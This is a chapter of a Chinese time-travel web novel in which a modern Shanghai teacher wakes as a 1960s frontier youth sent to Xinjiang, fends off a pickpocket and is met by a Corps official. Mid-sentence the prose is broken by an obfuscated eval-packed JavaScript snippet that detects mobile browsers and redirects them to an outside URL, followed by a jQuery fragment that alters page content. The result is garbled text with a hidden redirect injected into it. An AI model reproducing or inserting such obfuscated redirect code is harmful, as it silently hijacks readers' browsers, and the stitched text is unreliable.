舒染在闷罐车里醒来时，正对上老乡油亮亮的旧夹袄后背。
汗味、旱烟味、牲畜膻味混着铁锈味，搅得她胃里翻腾。
三天前，她还是上海重点中学的语文老师，下课后能喝杯热拿铁。
三天后，她成了六十年代新疆建设兵团的支边青年。
下车时，风沙糊了她一脸。接人的男人勒住躁动的枣红马，目光沉静。
“姓名？”他问。
舒染掏出皱巴巴的报到单递给他。
男人扫了一眼便自我介绍道：“陈远疆。师部特派员。”
他顺手拎起她那死沉的樟木箱子，动作轻松得像拎一捆草。
------
汗味。
陈年油脂和烟草腌渍过头的汗味，像一床旧棉被，猛地捂住了舒染的口鼻。她猝然惊醒，心脏狂跳。
视野昏暗模糊，只有眼前一片晃动的深蓝色。她用力眨了几下眼，才勉强聚焦。那是一件泛着油光的厚棉袄后背，离她的鼻尖不过几寸。
那棉袄浸透了那股挥之不去的复杂气味——汗酸、劣质旱烟燃烧后的辛辣、还有牲畜的膻腥，混合着闷罐车本身的锈蚀气息，一股脑儿塞满了她的鼻腔。
胃里的酸水不受控制地涌上喉咙口。舒染咬住后槽牙，硬生生把那翻江倒海的感觉压了回去。
不对。全都不对。
三天前，她还是上海重点中学的教师。每天下班踩着高跟鞋拐进咖啡馆，点上一杯热拿铁。虽不清闲但也安稳。
三天后，她却成了闷罐车里的一员——一个据说“成分不算好”的女知青。
属于舒染的都市人生，在21世纪戛然而止。而属于这个六十年代的记忆全部灌入她的脑海——曾经是资本家的娇小姐，念过几年师范，成分上似乎有点说不清道不明的麻烦。
最后，就是这张捏在她手心里几乎被汗水濡湿的报到通知单。
她低头，借着从车厢顶缝隙里漏进来的光线，看着通知单上“新疆生产建设兵团第x师x团畜牧连”那几个印刷的字，欲哭无泪。
刺耳的汽笛声突然响起，紧接着，身下传来一阵颠簸。哐当！哐当！铁轮碾过铁轨，发出尖锐的声响。
“到站了！到站了！第x师！下车的快点！”一个带着浓重口音的男声在车厢连接处吼了起来。
车厢瞬间活了过来。咒骂声、催促声、寻找行李的碰撞声、小孩被惊醒的啼哭声不绝于耳。
舒染只觉得身周那堵人墙开始松动、挤压、推搡起来。她被裹挟着，身不由己地向前移动。
那只死沉的红漆樟木箱子，是她在这个陌生时代唯一的财产，此刻成了最大的累赘。
箱子角撞在她的小腿骨上，疼得她倒抽一口冷气。旁边一个人的手肘又毫无察觉地撞到她腰上。
“让让！让让！别挡道啊！”有人不耐烦地在她身后嚷。
混乱中，舒染感觉自己的脚被谁踩了一下。她疼得下意识地缩脚。
就在这一刹那，一种极其轻微又突兀的异样感，从她外套侧面的口袋传来。
那口袋很深，是用旧列宁装改的。里面除了那张报到通知单，还有她临行前偷偷塞进去的几张全国粮票和几块钱，是她在这个世界安身立命的本钱。
就在她缩脚重心不稳的瞬间，一只手迅速从她那个深口袋里缩了回去。
舒染全身的汗毛都竖了起来。电光石火间，她甚至没看清那人的脸，只瞥见那迅速缩回人群的灰蓝色袖口一角。
“有小偷啊！”她脱口而出，声音因为紧张有些发颤。
无数道目光聚焦在她脸上。那个灰蓝色的袖口消失在人堆里。车厢里依旧拥挤不堪，推搡继续，她刚才那一声喊连水花都没溅起来。
舒染脸颊发烫。她紧紧攥着拳头。钱！那可是她的钱！没了那点钱，在这人生地不熟的地方寸步难行！
不行！不能就这么算了！她深吸一口气，强迫自己冷静。眼睛飞快地在周围几张挤挨着的脸上扫过。
左边是个抱着孩子的年轻媳妇，眼神怯生生的。右边是个满脸皱纹的老农。前面是那个油亮旧夹袄后背的主人，一个五大三粗的汉子，正不耐烦地回头瞪她，似乎在嫌她碍事。
都不像。
她的目光越过汉子厚实的肩膀，投向斜前方一个同样穿着灰蓝色工装、身形瘦小的背影。那人微微佝偻着，正费力地在人潮中往前挪动，动作显得有些僵硬和不自然。
舒染的心跳得飞快。赌一把！
她咬咬牙，趁着车厢又一个剧烈的晃动，整个人“哎呀”一声，装作被挤得站立不稳，猛地朝斜前方那个瘦小身影的方向踉跄扑去。右手顺势往前一探，带着全身的重量，狠狠地在那个灰蓝色袖口附近的手臂上掐了一把。
“哎哟！”一声痛呼响起。那个瘦小身影猛地回过头。
一张干瘦蜡黄、颧骨突出的脸。约莫三十多岁，眼神带着狡狯和凶戾。
就是这张脸！刚才挤在她侧面时，那双眼睛，曾不经意地扫过她鼓囊囊的口袋！
“你干啥！”男人凶巴巴地低吼，眼神闪烁，下意识地想把手往身后藏。
周围的视线再次聚焦过来，大多是看戏的意味。
舒染站稳身体，大声嚷道：“同志，你刚才挤我干啥？把我口袋里的东西都挤掉了！”
她一边说，一边扫视男人的裤腿口袋。
男人眼神更慌了，色厉内荏地梗着脖子：“胡说！谁挤你了？自己站不稳怪谁？少诬赖好人！”
“是不是诬赖，你心里清楚！”舒染寸步不让，“我那点钱和粮票，是我妈省吃俭用给我带着的！要是在这儿丢了，我就找领导！找保卫科！就不信没个说法！”
听到“保卫科”三个字，男人脸上的凶戾僵住了，眼神里满是慌乱。周围看热闹的目光也变得有些微妙，隐隐带着压力。
僵持只持续了几秒。男人剜了舒染一眼，飞快地把手伸进自己的裤兜里，胡乱掏了一把，然后用力往舒染脚边的地上一甩。
几张皱巴巴的纸片落在车厢地板上。
“哼！晦气！”男人啐了一口，趁舒染低头去看的瞬间，猛地一矮身，头也不回地钻进了前面更拥挤的人群，眨眼不见了踪影。
舒染的心脏还在狂跳，手心里全是冷汗。她飞快地蹲下身，一把抓起地上散落的纸片。
粮票是她的，钱……少了两张一块的。但万幸，最重要的报到通知单还在口袋里。
她死死攥着失而复得的丁点家当。周围的目光依旧复杂，甚至传来议论声：“小娘们儿还挺厉害”。
舒染没理会。她把粮票和钱小心地塞回那个深口袋。她慢慢站起来，腿还有点发软，但背却挺得笔直。
这地方，跟她熟悉的那座讲究体面、有警察有监控的都市，是彻彻底底的两个世界。
终于，前面的人流松动了一些，车厢门口的光线透了进来。
“快点！磨蹭啥呢！”门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996808|178209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口维持秩序的吼声再次响起。
舒染深吸一口气，弯下腰，用尽全身力气拖起那只沉重的樟木箱子，咬着牙，一步一步跟着人流挪向车门。
一脚踏出车门，仿佛从一个密封的罐头掉进了巨大的风箱里。
这地方，和她21世纪来新疆旅游时的感受完全不一样。
沙砾刮在她的脸上。脚下是盐碱板结的土地，裂缝如龟甲纹路般蔓延，其间挣扎着几丛骆驼刺，一簇红柳紧贴地面蜷曲着枝条。
一公里外，地窝子低矮的顶棚几乎与地面平齐，零星的土坯房旁停着沾满泥块的东方红拖拉机，生锈的犁铧半埋在沙土中。
忽然，风送来断续的歌声：“……祖国要我守边卡，扛起枪杆我就走……”
一群战士正拉犁开荒，军装后背结满盐霜。新挖的排碱渠旁，插着木牌标语：“不占群众一分田，戈壁滩上建花园！”
这就是新疆？六十年代的新疆？
舒染脑子里不合时宜地闪过外滩璀璨的灯火。精致、便利、体面……那些她习以为常的东西，在这里全变成了幻影。
她下意识地伸手去摸外套口袋，那里曾经习惯性地放着一包纸巾。指尖触到的只有粗糙的布料。她尴尬地收回手，用手背用力抹了抹脸。心里有个声音在尖叫：这是什么鬼地方！我要回去！必须回去！
就在这时，一阵急促的马蹄声由远及近，敲打在板结的盐碱地上。
舒染循声望去。
一匹枣红马正从沙尘中疾驰而来。马上的骑手伏低身体，娴熟地控着缰绳。转瞬之间，人马已冲到近前。
“吁——！”一声低喝。骑手勒紧缰绳。那匹枣红马前蹄高高扬起，带起一片沙尘，然后稳稳停住。鼻息喷出灼气，不安地踏着蹄子。
马背上的人直起身。
一身深蓝色制服，包裹着宽肩窄腰的线条。舒染只觉得那人的五官轮廓非常硬朗。
他翻身下马，长腿落地，激起一小股尘土，紧接着就牵着马，大步朝这走来。
他停在人群前几步远的地方，目光扫视着众人。
舒染下意识地站直，把那只死沉的樟木箱子往身边又拽了拽。
舒染感觉到那人的目光在她发红的脸颊、凌乱的头发、还有那只笨重箱子上掠过。
然后，他冲她开口：“姓名？”
舒染伸手去掏那张报到通知单。手指在深口袋里摸索了几下，才把那张皱巴巴的纸片抽了出来。
她往前递了一步，动作有些僵硬。
男人没接，垂下视线在那张纸上扫了一眼。
他抬起头，目光重新落在舒染脸上，清晰地报出了她的目的地：“舒染。畜牧连。”
说完又简洁地补上自己的身份：“陈远疆，师部特派员。我是来接你的。”
话音落下，他没等舒染作出反应，目光已经转向她脚边那个巨大的樟木箱子。
陈远疆上前一步。结果舒染手中的箱子提手。没见他怎么用力，那个让舒染拖得死去活来的箱子，就像一捆干草似的，被他稳稳当当地提离了地面。
“跟上。”陈远疆丢下两个字，声音依旧没什么起伏。
他一手提着箱子，一手牵着那匹枣红马，转身朝着团部方向走去。
舒染还僵在原地，手里捏着那张皱巴巴的报到单。
戈壁滩上的风吹散了她来自都市的体面。
她舔了舔起皮的嘴唇，深一脚浅一脚地追向前面的背影。